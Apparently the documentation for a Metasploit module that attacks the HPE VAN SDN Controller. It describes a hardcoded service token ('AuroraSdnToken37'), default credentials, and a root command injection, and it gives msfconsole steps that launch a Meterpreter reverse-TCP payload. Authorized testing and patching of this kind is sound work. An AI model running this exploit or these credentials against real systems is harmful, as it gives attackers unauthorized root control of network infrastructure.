## Introduction

This module exploits a hardcoded service token or default credentials in
HPE VAN SDN Controller <= 2.7.18.0503 to execute a payload as root.

A root command injection was discovered in the uninstall action's name
parameter, obviating the need to use sudo for privilege escalation.

If the service token option `TOKEN` is blank, `USERNAME` and `PASSWORD`
will be used for authentication. An additional login request will be
sent.

## Setup

Follow <http://h22208.www2.hpe.com/eginfolib/networking/docs/sdn/sdnc2_6/5998-8473install/content/s_download_sw.html>.

Tested on 2.7.18.0503.

## Options

### RPORT

Set this to the port for the REST API, usually 8081.

### WEBUI_PORT

Set this to the port for the web UI, usually 8443.

### TOKEN

Set this to the service token. Defaults to `AuroraSdnToken37`.

### USERNAME

Set this to the service username. Defaults to `sdn`.

### PASSWORD

Set this to the service password. Defaults to `skyline`.

## Usage

```
msf > use exploit/linux/http/hp_van_sdn_cmd_inject
msf exploit(linux/http/hp_van_sdn_cmd_inject) > set rhosts 192.168.56.102
rhosts => 192.168.56.102
msf exploit(linux/http/hp_van_sdn_cmd_inject) > set target Linux Dropper
target => Linux Dropper
msf exploit(linux/http/hp_van_sdn_cmd_inject) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf exploit(linux/http/hp_van_sdn_cmd_inject) > set lhost 192.168.56.1
lhost => 192.168.56.1
msf exploit(linux/http/hp_van_sdn_cmd_inject) > run
